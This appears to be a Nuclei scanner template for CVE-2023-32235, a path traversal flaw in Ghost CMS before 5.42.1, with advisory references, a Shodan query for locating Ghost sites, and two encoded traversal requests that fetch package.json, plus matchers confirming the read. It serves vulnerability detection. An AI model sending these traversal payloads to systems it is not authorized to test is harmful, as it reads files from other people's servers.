id: CVE-2023-32235

info:
  name: Path Traversal in Ghost CMS < 5.42.1
  author: j3ssie
  severity: medium
  description: |
    Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.
  remediation: Fixed in version 5.42.1
  reference:
    - https://github.com/advisories/GHSA-wf7x-fh6w-34r6
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32235
  classification:
    cve-id: CVE-2023-32235
  metadata:
    max-request: 2
    verified: 'true'
    shodan-query: 'http.component:"Ghost"'
  tags: cve,cve2023,lfi,ghostcms

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/built%2F..%2F..%2F/package.json"
      - "{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name"'
          - '"version"'
          - '"ghost"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200